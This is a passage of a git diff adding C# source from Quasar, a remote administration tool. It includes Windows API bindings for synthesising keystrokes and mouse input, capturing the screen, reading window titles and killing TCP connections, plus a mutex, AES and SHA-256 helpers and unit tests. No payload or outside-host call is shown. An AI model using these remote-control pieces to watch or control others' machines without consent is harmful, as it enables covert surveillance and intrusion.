[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
internal static extern bool FreeLibrary(IntPtr hModule);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||||
|
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Performs a bit-block transfer of the color data corresponding to a
|
||||||
|
/// rectangle of pixels from the specified source device context into
|
||||||
|
/// a destination device context.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hdc">Handle to the destination device context.</param>
|
||||||
|
/// <param name="nXDest">The leftmost x-coordinate of the destination rectangle (in pixels).</param>
|
||||||
|
/// <param name="nYDest">The topmost y-coordinate of the destination rectangle (in pixels).</param>
|
||||||
|
/// <param name="nWidth">The width of the source and destination rectangles (in pixels).</param>
|
||||||
|
/// <param name="nHeight">The height of the source and the destination rectangles (in pixels).</param>
|
||||||
|
/// <param name="hdcSrc">Handle to the source device context.</param>
|
||||||
|
/// <param name="nXSrc">The leftmost x-coordinate of the source rectangle (in pixels).</param>
|
||||||
|
/// <param name="nYSrc">The topmost y-coordinate of the source rectangle (in pixels).</param>
|
||||||
|
/// <param name="dwRop">A raster-operation code.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// <c>true</c> if the operation succeedes, <c>false</c> otherwise. To get extended error information, call <see cref="System.Runtime.InteropServices.Marshal.GetLastWin32Error"/>.
|
||||||
|
/// </returns>
|
||||||
|
[DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
|
||||||
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight,
|
||||||
|
[In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
|
||||||
|
|
||||||
|
[DllImport("gdi32.dll", CharSet = CharSet.Unicode)]
|
||||||
|
internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
|
||||||
|
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
internal static extern bool DeleteDC([In] IntPtr hdc);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool SetCursorPos(int x, int y);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError = false)]
|
||||||
|
internal static extern IntPtr GetMessageExtraInfo();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Synthesizes keystrokes, mouse motions, and button clicks.
|
||||||
|
/// </summary>
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern uint SendInput(uint nInputs,
|
||||||
|
[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
|
||||||
|
int cbSize);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct INPUT
|
||||||
|
{
|
||||||
|
internal uint type;
|
||||||
|
internal InputUnion u;
|
||||||
|
internal static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Explicit)]
|
||||||
|
internal struct InputUnion
|
||||||
|
{
|
||||||
|
[FieldOffset(0)]
|
||||||
|
internal MOUSEINPUT mi;
|
||||||
|
[FieldOffset(0)]
|
||||||
|
internal KEYBDINPUT ki;
|
||||||
|
[FieldOffset(0)]
|
||||||
|
internal HARDWAREINPUT hi;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct MOUSEINPUT
|
||||||
|
{
|
||||||
|
internal int dx;
|
||||||
|
internal int dy;
|
||||||
|
internal int mouseData;
|
||||||
|
internal uint dwFlags;
|
||||||
|
internal uint time;
|
||||||
|
internal IntPtr dwExtraInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct KEYBDINPUT
|
||||||
|
{
|
||||||
|
internal ushort wVk;
|
||||||
|
internal ushort wScan;
|
||||||
|
internal uint dwFlags;
|
||||||
|
internal uint time;
|
||||||
|
internal IntPtr dwExtraInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct HARDWAREINPUT
|
||||||
|
{
|
||||||
|
public uint uMsg;
|
||||||
|
public ushort wParamL;
|
||||||
|
public ushort wParamH;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool SystemParametersInfo(
|
||||||
|
uint uAction, uint uParam, ref IntPtr lpvParam,
|
||||||
|
uint flags);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||||||
|
internal static extern IntPtr OpenDesktop(
|
||||||
|
string hDesktop, int flags, bool inherit,
|
||||||
|
uint desiredAccess);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool CloseDesktop(
|
||||||
|
IntPtr hDesktop);
|
||||||
|
|
||||||
|
internal delegate bool EnumDesktopWindowsProc(
|
||||||
|
IntPtr hDesktop, IntPtr lParam);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool EnumDesktopWindows(
|
||||||
|
IntPtr hDesktop, EnumDesktopWindowsProc callback,
|
||||||
|
IntPtr lParam);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern bool IsWindowVisible(
|
||||||
|
IntPtr hWnd);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
internal static extern IntPtr GetForegroundWindow();
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||||
|
|
||||||
|
[DllImport("iphlpapi.dll", SetLastError = true)]
|
||||||
|
internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
|
||||||
|
TcpTableClass tblClass, uint reserved = 0);
|
||||||
|
|
||||||
|
[DllImport("iphlpapi.dll")]
|
||||||
|
internal static extern int SetTcpEntry(IntPtr pTcprow);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct MibTcprowOwnerPid
|
||||||
|
{
|
||||||
|
public uint state;
|
||||||
|
public uint localAddr;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort;
|
||||||
|
public uint remoteAddr;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
|
||||||
|
public uint owningPid;
|
||||||
|
public IPAddress LocalAddress
|
||||||
|
{
|
||||||
|
get { return new IPAddress(localAddr); }
|
||||||
|
}
|
||||||
|
|
||||||
|
public ushort LocalPort
|
||||||
|
{
|
||||||
|
get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
public IPAddress RemoteAddress
|
||||||
|
{
|
||||||
|
get { return new IPAddress(remoteAddr); }
|
||||||
|
}
|
||||||
|
|
||||||
|
public ushort RemotePort
|
||||||
|
{
|
||||||
|
get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct MibTcptableOwnerPid
|
||||||
|
{
|
||||||
|
public uint dwNumEntries;
|
||||||
|
private readonly MibTcprowOwnerPid table;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal enum TcpTableClass
|
||||||
|
{
|
||||||
|
TcpTableBasicListener,
|
||||||
|
TcpTableBasicConnections,
|
||||||
|
TcpTableBasicAll,
|
||||||
|
TcpTableOwnerPidListener,
|
||||||
|
TcpTableOwnerPidConnections,
|
||||||
|
TcpTableOwnerPidAll,
|
||||||
|
TcpTableOwnerModuleListener,
|
||||||
|
TcpTableOwnerModuleConnections,
|
||||||
|
TcpTableOwnerModuleAll
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Utilities
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A user-wide mutex that ensures that only one instance runs at a time.
|
||||||
|
/// </summary>
|
||||||
|
public class SingleInstanceMutex : IDisposable
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The mutex used for process synchronization.
|
||||||
|
/// </summary>
|
||||||
|
private readonly Mutex _appMutex;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents if the mutex was created on the system or it already existed.
|
||||||
|
/// </summary>
|
||||||
|
public bool CreatedNew { get; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the instance is disposed and should not be used anymore.
|
||||||
|
/// </summary>
|
||||||
|
public bool IsDisposed { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of <see cref="SingleInstanceMutex"/> using the given mutex name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the mutex.</param>
|
||||||
|
public SingleInstanceMutex(string name)
|
||||||
|
{
|
||||||
|
_appMutex = new Mutex(false, $"Local\\{name}", out var createdNew);
|
||||||
|
CreatedNew = createdNew;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Releases all resources used by this <see cref="SingleInstanceMutex"/>.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Releases the mutex object.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (IsDisposed)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_appMutex?.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
IsDisposed = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||||
|
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||||
|
<security>
|
||||||
|
<requestedPrivileges>
|
||||||
|
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||||
|
</requestedPrivileges>
|
||||||
|
</security>
|
||||||
|
</trustInfo>
|
||||||
|
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||||
|
<application>
|
||||||
|
<!-- Windows Vista -->
|
||||||
|
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
|
||||||
|
<!-- Windows 7 -->
|
||||||
|
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||||
|
<!-- Windows 8 -->
|
||||||
|
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||||
|
<!-- Windows 8.1 -->
|
||||||
|
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||||
|
<!-- Windows 10 -->
|
||||||
|
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||||
|
</application>
|
||||||
|
</compatibility>
|
||||||
|
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||||
|
<windowsSettings>
|
||||||
|
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true/pm</dpiAware>
|
||||||
|
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness>
|
||||||
|
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||||
|
</windowsSettings>
|
||||||
|
</application>
|
||||||
|
<dependency>
|
||||||
|
<dependentAssembly>
|
||||||
|
<assemblyIdentity
|
||||||
|
type="win32"
|
||||||
|
name="Microsoft.Windows.Common-Controls"
|
||||||
|
version="6.0.0.0"
|
||||||
|
processorArchitecture="*"
|
||||||
|
publicKeyToken="6595b64144ccf1df"
|
||||||
|
language="*"
|
||||||
|
/>
|
||||||
|
</dependentAssembly>
|
||||||
|
</dependency>
|
||||||
|
</assembly>
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
@@ -0,0 +1,24 @@
|
|||||||
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
|
||||||
|
using Quasar.Common.Video.Compression;
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Tests.Compression
|
||||||
|
{
|
||||||
|
[TestClass]
|
||||||
|
public class JpgCompressionTests
|
||||||
|
{
|
||||||
|
[TestMethod, TestCategory("Compression")]
|
||||||
|
public void CompressionTest()
|
||||||
|
{
|
||||||
|
var quality = Int64.MaxValue;
|
||||||
|
var jpg = new JpgCompression(quality);
|
||||||
|
var bitmap = new Bitmap(200, 200);
|
||||||
|
|
||||||
|
var result = jpg.Compress(bitmap);
|
||||||
|
|
||||||
|
Assert.IsNotNull(result);
|
||||||
|
CollectionAssert.AllItemsAreNotNull(result);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
|
||||||
|
using Quasar.Common.Cryptography;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Tests.Cryptography
|
||||||
|
{
|
||||||
|
[TestClass]
|
||||||
|
public class Aes128Tests
|
||||||
|
{
|
||||||
|
[TestMethod, TestCategory("Cryptography")]
|
||||||
|
public void EncryptAndDecryptStringTest()
|
||||||
|
{
|
||||||
|
var input = StringHelper.GetRandomString(100);
|
||||||
|
var password = StringHelper.GetRandomString(50);
|
||||||
|
|
||||||
|
var aes = new Aes256(password);
|
||||||
|
|
||||||
|
var encrypted = aes.Encrypt(input);
|
||||||
|
|
||||||
|
Assert.IsNotNull(encrypted);
|
||||||
|
Assert.AreNotEqual(encrypted, input);
|
||||||
|
|
||||||
|
var decrypted = aes.Decrypt(encrypted);
|
||||||
|
|
||||||
|
Assert.AreEqual(input, decrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
[TestMethod, TestCategory("Cryptography")]
|
||||||
|
public void EncryptAndDecryptByteArrayTest()
|
||||||
|
{
|
||||||
|
var input = StringHelper.GetRandomString(100);
|
||||||
|
var inputByte = Encoding.UTF8.GetBytes(input);
|
||||||
|
var password = StringHelper.GetRandomString(50);
|
||||||
|
|
||||||
|
var aes = new Aes256(password);
|
||||||
|
|
||||||
|
var encryptedByte = aes.Encrypt(inputByte);
|
||||||
|
|
||||||
|
Assert.IsNotNull(encryptedByte);
|
||||||
|
CollectionAssert.AllItemsAreNotNull(encryptedByte);
|
||||||
|
CollectionAssert.AreNotEqual(encryptedByte, inputByte);
|
||||||
|
|
||||||
|
var decryptedByte = aes.Decrypt(encryptedByte);
|
||||||
|
|
||||||
|
CollectionAssert.AreEqual(inputByte, decryptedByte);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
|
||||||
|
using Quasar.Common.Cryptography;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Tests.Cryptography
|
||||||
|
{
|
||||||
|
[TestClass]
|
||||||
|
public class Sha256Tests
|
||||||
|
{
|
||||||
|
[TestMethod, TestCategory("Cryptography")]
|
||||||
|
public void ComputeHashTest()
|
||||||
|
{
|
||||||
|
var input = StringHelper.GetRandomString(100);
|
||||||
|
var result = Sha256.ComputeHash(input);
|
||||||
|
|
||||||
|
Assert.IsNotNull(result);
|
||||||
|
Assert.AreNotEqual(result, input);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
using Microsoft.VisualStudio.TestTools.UnitTesting;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Tests.Helpers
|
||||||
|
{
|
||||||
|
[TestClass]
|
||||||
|
public class FileHelperTests
|
||||||
|
{
|
||||||
|
[TestMethod, TestCategory("Helpers")]
|
||||||
|
public void RandomFilenameTest()
|
||||||
|
{
|
||||||
|
int length = 100;
|
||||||
|
var name = FileHelper.GetRandomFilename(length);
|
||||||
|
|
||||||
|
Assert.IsNotNull(name);
|
||||||
|
Assert.IsTrue(name.Length == length);
|
||||||
|
}
|
||||||
|
|
||||||
|
[TestMethod, TestCategory("Helpers")]
|
||||||
|
public void ValidateExecutableTest()
|
||||||
|
{
|
||||||
|
var bytes = new byte[] {77, 90};
|
||||||
|
|
||||||
|
Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes));
|
||||||
|
}
|
||||||
|
|
||||||
|
[TestMethod, TestCategory("Helpers")]
|
||||||
|
public void ValidateExecutableTest2()
|
||||||
|
{
|
||||||
|
var bytes = new byte[] {22, 93};
|
||||||
|
|
||||||
|
Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
[assembly: AssemblyTitle("Quasar Common Tests")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("Quasar")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
|
||||||
|
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.4.1")]
|
||||||
|
[assembly: AssemblyFileVersion("1.4.1")]
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<Project Sdk="Microsoft.NET.Sdk">
|
||||||
|
<PropertyGroup>
|
||||||
|
<TargetFramework>net452</TargetFramework>
|
||||||
|
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
|
||||||
|
<OutputPath>..\bin\Debug\</OutputPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
|
||||||
|
<OutputPath>..\bin\Release\</OutputPath>
|
||||||
|
<DebugType>none</DebugType>
|
||||||
|
<DebugSymbols>false</DebugSymbols>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.3.2" />
|
||||||
|
<PackageReference Include="MSTest.TestAdapter" Version="2.2.10" />
|
||||||
|
<PackageReference Include="MSTest.TestFramework" Version="2.2.10" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ProjectReference Include="..\Quasar.Common\Quasar.Common.csproj" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,128 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Cryptography
|
||||||
|
{
|
||||||
|
public class Aes256
|
||||||
|
{
|
||||||
|
private const int KeyLength = 32;
|
||||||
|
private const int AuthKeyLength = 64;
|
||||||
|
private const int IvLength = 16;
|
||||||
|
private const int HmacSha256Length = 32;
|
||||||
|
private readonly byte[] _key;
|
||||||
|
private readonly byte[] _authKey;
|
||||||
|
|
||||||
|
private static readonly byte[] Salt =
|
||||||
|
{
|
||||||
|
0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56,
|
||||||
|
0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
|
||||||
|
};
|
||||||
|
|
||||||
|
public Aes256(string masterKey)
|
||||||
|
{
|
||||||
|
if (string.IsNullOrEmpty(masterKey))
|
||||||
|
throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");
|
||||||
|
|
||||||
|
using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
|
||||||
|
{
|
||||||
|
_key = derive.GetBytes(KeyLength);
|
||||||
|
_authKey = derive.GetBytes(AuthKeyLength);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Encrypt(string input)
|
||||||
|
{
|
||||||
|
return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* FORMAT
|
||||||
|
* ----------------------------------------
|
||||||
|
* | HMAC | IV | CIPHERTEXT |
|
||||||
|
* ----------------------------------------
|
||||||
|
* 32 bytes 16 bytes
|
||||||
|
*/
|
||||||
|
public byte[] Encrypt(byte[] input)
|
||||||
|
{
|
||||||
|
if (input == null)
|
||||||
|
throw new ArgumentNullException($"{nameof(input)} can not be null.");
|
||||||
|
|
||||||
|
using (var ms = new MemoryStream())
|
||||||
|
{
|
||||||
|
ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
|
||||||
|
using (var aesProvider = new AesCryptoServiceProvider())
|
||||||
|
{
|
||||||
|
aesProvider.KeySize = 256;
|
||||||
|
aesProvider.BlockSize = 128;
|
||||||
|
aesProvider.Mode = CipherMode.CBC;
|
||||||
|
aesProvider.Padding = PaddingMode.PKCS7;
|
||||||
|
aesProvider.Key = _key;
|
||||||
|
aesProvider.GenerateIV();
|
||||||
|
|
||||||
|
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
|
||||||
|
{
|
||||||
|
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
|
||||||
|
cs.Write(input, 0, input.Length);
|
||||||
|
cs.FlushFinalBlock();
|
||||||
|
|
||||||
|
using (var hmac = new HMACSHA256(_authKey))
|
||||||
|
{
|
||||||
|
byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
|
||||||
|
ms.Position = 0; // write hash at beginning
|
||||||
|
ms.Write(hash, 0, hash.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ms.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Decrypt(string input)
|
||||||
|
{
|
||||||
|
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] Decrypt(byte[] input)
|
||||||
|
{
|
||||||
|
if (input == null)
|
||||||
|
throw new ArgumentNullException($"{nameof(input)} can not be null.");
|
||||||
|
|
||||||
|
using (var ms = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
using (var aesProvider = new AesCryptoServiceProvider())
|
||||||
|
{
|
||||||
|
aesProvider.KeySize = 256;
|
||||||
|
aesProvider.BlockSize = 128;
|
||||||
|
aesProvider.Mode = CipherMode.CBC;
|
||||||
|
aesProvider.Padding = PaddingMode.PKCS7;
|
||||||
|
aesProvider.Key = _key;
|
||||||
|
|
||||||
|
// read first 32 bytes for HMAC
|
||||||
|
using (var hmac = new HMACSHA256(_authKey))
|
||||||
|
{
|
||||||
|
var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
|
||||||
|
byte[] receivedHash = new byte[HmacSha256Length];
|
||||||
|
ms.Read(receivedHash, 0, receivedHash.Length);
|
||||||
|
|
||||||
|
if (!SafeComparison.AreEqual(hash, receivedHash))
|
||||||
|
throw new CryptographicException("Invalid message authentication code (MAC).");
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] iv = new byte[IvLength];
|
||||||
|
ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
|
||||||
|
aesProvider.IV = iv;
|
||||||
|
|
||||||
|
using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[ms.Length - IvLength + 1];
|
||||||
|
byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
|
||||||
|
Buffer.BlockCopy(temp, 0, data, 0, data.Length);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Cryptography
|
||||||
|
{
|
||||||
|
public class SafeComparison
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Compares two byte arrays for equality.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="a1">Byte array to compare</param>
|
||||||
|
/// <param name="a2">Byte array to compare</param>
|
||||||
|
/// <returns>True if equal, else false</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// Assumes that the byte arrays have the same length.
|
||||||
|
/// This method is safe against timing attacks.
|
||||||
|
/// </remarks>
|
||||||
|
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||||
|
public static bool AreEqual(byte[] a1, byte[] a2)
|
||||||
|
{
|
||||||
|
bool result = true;
|
||||||
|
for (int i = 0; i < a1.Length; ++i)
|
||||||
|
{
|
||||||
|
if (a1[i] != a2[i])
|
||||||
|
result = false;
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Cryptography
|
||||||
|
{
|
||||||
|
public static class Sha256
|
||||||
|
{
|
||||||
|
public static string ComputeHash(string input)
|
||||||
|
{
|
||||||
|
byte[] data = Encoding.UTF8.GetBytes(input);
|
||||||
|
|
||||||
|
using (SHA256Managed sha = new SHA256Managed())
|
||||||
|
{
|
||||||
|
data = sha.ComputeHash(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
StringBuilder hash = new StringBuilder();
|
||||||
|
|
||||||
|
foreach (byte _byte in data)
|
||||||
|
hash.Append(_byte.ToString("X2"));
|
||||||
|
|
||||||
|
return hash.ToString().ToUpper();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] ComputeHash(byte[] input)
|
||||||
|
{
|
||||||
|
using (SHA256Managed sha = new SHA256Managed())
|
||||||
|
{
|
||||||
|
return sha.ComputeHash(input);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
using System.Net;
|
||||||
|
|
||||||
|
namespace Quasar.Common.DNS
|
||||||
|
{
|
||||||
|
public class Host
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the hostname of the Host.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// Can be an IPv4, IPv6 address or hostname.
|
||||||
|
/// </remarks>
|
||||||
|
public string Hostname { get; set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the IP address of host.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// Can be an IPv4 or IPv6 address.
|
||||||
|
/// </remarks>
|
||||||
|
public IPAddress IpAddress { get; set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the port of the Host.
|
||||||
|
/// </summary>
|
||||||
|
public ushort Port { get; set; }
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
return Hostname + ":" + Port;
|
||||||
|
}
|
||||||
|
}
|
